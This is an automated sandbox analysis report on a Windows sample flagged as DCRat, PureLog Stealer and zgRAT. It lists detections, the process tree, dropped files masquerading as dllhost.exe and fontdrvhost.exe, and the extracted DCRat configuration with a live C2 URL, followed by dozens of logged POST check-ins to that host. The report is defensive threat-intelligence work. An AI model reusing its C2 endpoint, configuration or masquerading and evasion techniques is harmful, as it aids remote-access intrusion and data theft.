Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
eu6OEBpBCI.exe

Overview

General Information

Sample name:eu6OEBpBCI.exe
renamed because original name is a hash value
Original sample name:17d1a3b2d87457f2492926349fae2417.exe
Analysis ID:1571109
MD5:17d1a3b2d87457f2492926349fae2417
SHA1:5ffdb9a82faf2fc9dda683dc026e10376bc5a7bc
SHA256:a15debb35819618dde10abc793552e6addf91baf38d2025c274d84fdcedb97fa
Tags:exeZyklonuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected DCRat
Yara detected PureLog Stealer
Yara detected zgRAT
.NET source code contains method to dynamically call methods (often used by packers)
AI detected suspicious sample
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Execution from Suspicious Folder
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Suspicious Program Location with Network Connections
Sigma detected: System File Execution Location Anomaly
Tries to harvest and steal browser information (history, passwords, etc)
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Dllhost Internet Connection
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • eu6OEBpBCI.exe (PID: 5928 cmdline: "C:\Users\user\Desktop\eu6OEBpBCI.exe" MD5: 17D1A3B2D87457F2492926349FAE2417)
    • cmd.exe (PID: 5572 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\VE9VyBa20L.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 5324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • chcp.com (PID: 3180 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
      • PING.EXE (PID: 2932 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)
      • dllhost.exe (PID: 6924 cmdline: "C:\Users\Public\Libraries\dllhost.exe" MD5: 17D1A3B2D87457F2492926349FAE2417)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DCRatDCRat is a typical RAT that has been around since at least June 2019.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
NameDescriptionAttributionBlogpost URLsLink
zgRATzgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://91.227.41.9/imagePipepolldletemp", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
eu6OEBpBCI.exeJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
    eu6OEBpBCI.exeJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security

      Dropped Files

      SourceRuleDescriptionAuthorStrings
      C:\Users\Public\Libraries\dllhost.exeJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
        C:\Users\Public\Libraries\dllhost.exeJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
          C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exeJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
            C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exeJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
              C:\Recovery\fontdrvhost.exeJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
                Click to see the 5 entries

                Memory Dumps

                SourceRuleDescriptionAuthorStrings
                00000005.00000002.4103094451.0000000003281000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                  00000005.00000002.4103094451.0000000002EEB000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                    00000000.00000000.1642613306.00000000004E2000.00000002.00000001.01000000.00000003.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                      00000005.00000002.4103094451.000000000342D000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                        00000000.00000002.1689492935.0000000012ED7000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                          Click to see the 2 entries

                          Unpacked PEs

                          SourceRuleDescriptionAuthorStrings
                          0.0.eu6OEBpBCI.exe.4e0000.0.unpackJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
                            0.0.eu6OEBpBCI.exe.4e0000.0.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security

                              Sigma Signatures

                              System Summary

                              barindex
                              Sigma detected: Execution from Suspicious Folder
                              Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Libraries\dllhost.exe" , CommandLine: "C:\Users\Public\Libraries\dllhost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\dllhost.exe, NewProcessName: C:\Users\Public\Libraries\dllhost.exe, OriginalFileName: C:\Users\Public\Libraries\dllhost.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\VE9VyBa20L.bat" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5572, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Users\Public\Libraries\dllhost.exe" , ProcessId: 6924, ProcessName: dllhost.exe
                              Sigma detected: Files With System Process Name In Unsuspected Locations
                              Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\eu6OEBpBCI.exe, ProcessId: 5928, TargetFilename: C:\Recovery\fontdrvhost.exe
                              Sigma detected: Suspicious Program Location with Network Connections
                              Source: Network ConnectionAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 91.227.41.9, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\Libraries\dllhost.exe, Initiated: true, ProcessId: 6924, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730
                              Sigma detected: System File Execution Location Anomaly
                              Source: Process startedAuthor: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\Public\Libraries\dllhost.exe" , CommandLine: "C:\Users\Public\Libraries\dllhost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\dllhost.exe, NewProcessName: C:\Users\Public\Libraries\dllhost.exe, OriginalFileName: C:\Users\Public\Libraries\dllhost.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\VE9VyBa20L.bat" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5572, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Users\Public\Libraries\dllhost.exe" , ProcessId: 6924, ProcessName: dllhost.exe
                              Sigma detected: Dllhost Internet Connection
                              Source: Network ConnectionAuthor: bartblaze: Data: DestinationIp: 91.227.41.9, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\Libraries\dllhost.exe, Initiated: true, ProcessId: 6924, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

                              Suricata Signatures

                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-09T00:27:12.843013+010020480951A Network Trojan was detected192.168.2.44973091.227.41.980TCP

                              Joe Sandbox Signatures

                              Click to jump to signature section

                              Show All Signature Results

                              AV Detection

                              barindex
                              Antivirus / Scanner detection for submitted sample
                              Source: eu6OEBpBCI.exeAvira: detected
                              Antivirus detection for dropped file
                              Source: C:\Users\user\Desktop\RGKyyyvv.logAvira: detection malicious, Label: HEUR/AGEN.1300079
                              Source: C:\Users\user\Desktop\FnLRHIfV.logAvira: detection malicious, Label: HEUR/AGEN.1362695
                              Source: C:\Users\Public\Libraries\dllhost.exeAvira: detection malicious, Label: HEUR/AGEN.1323342
                              Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exeAvira: detection malicious, Label: HEUR/AGEN.1323342
                              Source: C:\Recovery\fontdrvhost.exeAvira: detection malicious, Label: HEUR/AGEN.1323342
                              Source: C:\Users\user\AppData\Local\Temp\VE9VyBa20L.batAvira: detection malicious, Label: BAT/Delbat.C
                              Source: C:\Users\user\Desktop\GzproQCn.logAvira: detection malicious, Label: TR/Agent.jbwuj
                              Source: C:\Users\user\Desktop\FCNjSRns.logAvira: detection malicious, Label: HEUR/AGEN.1300079
                              Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exeAvira: detection malicious, Label: HEUR/AGEN.1323342
                              Found malware configuration
                              Source: 00000000.00000002.1689492935.0000000012ED7000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: DCRat {"C2 url": "http://91.227.41.9/imagePipepolldletemp", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}
                              Multi AV Scanner detection for dropped file
                              Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exeReversingLabs: Detection: 73%
                              Source: C:\Program Files\7-Zip\Lang\aVIegkftDeblliEdgtUahRSaMtI.exeReversingLabs: Detection: 73%
                              Source: C:\Recovery\fontdrvhost.exeReversingLabs: Detection: 73%
                              Source: C:\Users\Public\Libraries\dllhost.exeReversingLabs: Detection: 73%
                              Source: C:\Users\user\Desktop\DOJbgDru.logReversingLabs: Detection: 29%
                              Source: C:\Users\user\Desktop\FCNjSRns.logReversingLabs: Detection: 25%
                              Source: C:\Users\user\Desktop\GzproQCn.logReversingLabs: Detection: 50%
                              Source: C:\Users\user\Desktop\IYriOWqO.logReversingLabs: Detection: 20%
                              Source: C:\Users\user\Desktop\KpfivNCg.logReversingLabs: Detection: 25%
                              Source: C:\Users\user\Desktop\MRnySouc.logReversingLabs: Detection: 20%
                              Source: C:\Users\user\Desktop\PTahnXzX.logReversingLabs: Detection: 15%
                              Source: C:\Users\user\Desktop\PVfhrllC.logReversingLabs: Detection: 20%
                              Source: C:\Users\user\Desktop\QALqtMNE.logReversingLabs: Detection: 20%
                              Source: C:\Users\user\Desktop\TYzyfqIO.logReversingLabs: Detection: 20%
                              Source: C:\Users\user\Desktop\VVaGAqXJ.logReversingLabs: Detection: 37%
                              Source: C:\Users\user\Desktop\XxiWXROF.logReversingLabs: Detection: 25%
                              Source: C:\Users\user\Desktop\YwOfwePf.logReversingLabs: Detection: 29%
                              Source: C:\Users\user\Desktop\bYXvUFHb.logReversingLabs: Detection: 50%
                              Source: C:\Users\user\Desktop\gsyeVgYo.logReversingLabs: Detection: 50%
                              Source: C:\Users\user\Desktop\hZjnbUmV.logReversingLabs: Detection: 15%
                              Source: C:\Users\user\Desktop\haXUgXfM.logReversingLabs: Detection: 37%
                              Source: C:\Users\user\Desktop\jzvnrySk.logReversingLabs: Detection: 20%
                              Source: C:\Users\user\Desktop\lQNLnUfF.logReversingLabs: Detection: 50%
                              Source: C:\Users\user\Desktop\tCFTCxVs.logReversingLabs: Detection: 25%
                              Source: C:\Users\user\Desktop\ygASuHSj.logReversingLabs: Detection: 25%
                              Source: C:\Users\user\Desktop\ypXSetlg.logReversingLabs: Detection: 25%
                              Source: C:\Windows\Logs\WindowsUpdate\aVIegkftDeblliEdgtUahRSaMtI.exeReversingLabs: Detection: 73%
                              Multi AV Scanner detection for submitted file
                              Source: eu6OEBpBCI.exeReversingLabs: Detection: 73%
                              AI detected suspicious sample
                              Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                              Machine Learning detection for dropped file
                              Source: C:\Users\user\Desktop\RGKyyyvv.logJoe Sandbox ML: detected
                              Source: C:\Users\user\Desktop\FnLRHIfV.logJoe Sandbox ML: detected
                              Source: C:\Users\Public\Libraries\dllhost.exeJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exeJoe Sandbox ML: detected
                              Source: C:\Recovery\fontdrvhost.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\Desktop\IYriOWqO.logJoe Sandbox ML: detected
                              Source: C:\Users\user\Desktop\WJeOmDSH.logJoe Sandbox ML: detected
                              Source: C:\Users\user\Desktop\AHMSLlxy.logJoe Sandbox ML: detected
                              Source: C:\Users\user\Desktop\TYzyfqIO.logJoe Sandbox ML: detected
                              Source: C:\Users\user\Desktop\PTahnXzX.logJoe Sandbox ML: detected
                              Source: C:\Users\user\Desktop\FCNjSRns.logJoe Sandbox ML: detected
                              Source: C:\Users\user\Desktop\PVfhrllC.logJoe Sandbox ML: detected
                              Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exeJoe Sandbox ML: detected
                              Machine Learning detection for sample
                              Source: eu6OEBpBCI.exeJoe Sandbox ML: detected
                              Source: eu6OEBpBCI.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDirectory created: C:\Program Files\7-Zip\Lang\aVIegkftDeblliEdgtUahRSaMtI.exeJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDirectory created: C:\Program Files\7-Zip\Lang\74cb7468389f91Jump to behavior
                              Source: eu6OEBpBCI.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\userJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\user\Documents\desktop.iniJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\user\AppDataJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh0_2_00007FFD9B92B73D
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh5_2_00007FFD9BB2B6E5

                              Networking

                              barindex
                              Suricata IDS alerts for network traffic
                              Source: Network trafficSuricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49730 -> 91.227.41.9:80
                              System process connects to network (likely due to code injection or exploit)
                              Source: C:\Users\Public\Libraries\dllhost.exeNetwork Connect: 91.227.41.9 80Jump to behavior
                              Uses ping.exe to check the status of other devices and networks
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                              Source: Joe Sandbox ViewASN Name: ECO-ATMAN-PLECO-ATMAN-PL ECO-ATMAN-PLECO-ATMAN-PL
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 344Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 384Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1856Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2528Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1856Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1856Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JfPZs2UEFI3gnVXFX8zJCzj4G5RhJ1J6akUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 188114Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1836Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
